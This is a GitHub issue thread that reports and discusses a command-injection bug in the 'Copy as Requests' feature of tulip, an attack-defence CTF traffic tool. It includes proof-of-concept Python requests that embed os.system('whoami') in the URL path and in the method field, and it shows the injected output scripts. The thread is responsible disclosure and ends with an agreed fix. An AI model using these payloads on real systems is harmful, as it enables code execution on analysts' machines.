OpenAttackDefenseTools / tulip

Network analysis tool for Attack Defence CTF
GNU General Public License v3.0
284 stars 39 forks source link

[bug] Command injection in "Copy as ..." functionality #19

Closed Samdaaman closed 1 year ago

Samdaaman commented 1 year ago

Steps to reproduce

  1. Send a request with " in the URL (not url escaped) and your payload you want to run as python3 code
  2. Wait for someone to "Copy as Requests" and run your script like a normal attacker would
  3. Pop their host

The chances of someone exploiting this are quite low - as it relies on them not seeing the command injection in the "Copy as ..." script. Also in pretty much every CTF this would violate the rules.

Fix

Recommend escaping " characters (or preventing them entirely) in certain request properties or use another way of generating the templates as there is likely other places where this is an issue. Could use repr to add the quote characters and escape automatically like this

print(repr("a\"\'b"))
'a"\'b'

Example

Request (screenshot)

image

Request (python3 code)

req = (
    f'GET /"+__import__("os").system("whoami")+"/path HTTP/1.1\n'
    f'Host: 192.168.1.107:1337\n'
    f'\n'
)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('192.168.1.107', 1337))
sock.sendall(req.encode())
res = sock.recv(4096)
print(res.decode())

Copy as Requests Output (note the command injection in the request.path)

import os
import requests
import sys

host = sys.argv[1]

s = requests.Session()

s.headers = {}

data = {}
s.get("http://{}:1337/"+__import__("os").system("whoami")+"/path".format(host), data=data)
RickdeJager commented 1 year ago

Thanks for the report. We were actually having dinner with the ICC candidates when you posted this, so it sparked a fun discussion on whether this is a vuln.

Ultimately, I could totally see something like this working in ECSC, so it is a valid concern, and the tool should protect you here imo.

Eventually, we want to move to a "real" template engine, but for now, we'll go with the proposed fix. If you want to make a pull request, I'll accept it, so you'll show up in the contributer list. Otherwise I'll patch it later when I find the time.

Thanks!

Samdaaman commented 1 year ago

Sweet - will get a PR up this week. Glad I could provide some riveting dinner conversations haha.

Interestingly you are also able to inject via the request.command parameter as this is never validated to be a valid request method (GET/POST..etc). I will fix this issue as well as it is essentially the same as the previous one.

Example

PoC Code

import requests
import socket

req = (
    f'get(__import__("os").system("whoami"))# /path HTTP/1.1\n'
    f'Host: 192.168.1.107:1337\n'
    f'\n'
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('192.168.1.107', 1337))
sock.sendall(req.encode())
res = sock.recv(4096)
print(res.decode())

Tulip Output

import os
import requests
import sys

host = sys.argv[1]

headers = {}

data = {}

requests.get(__import__("os").system("whoami"))#("http://{}:1337/path".format(host), data=data, headers=headers)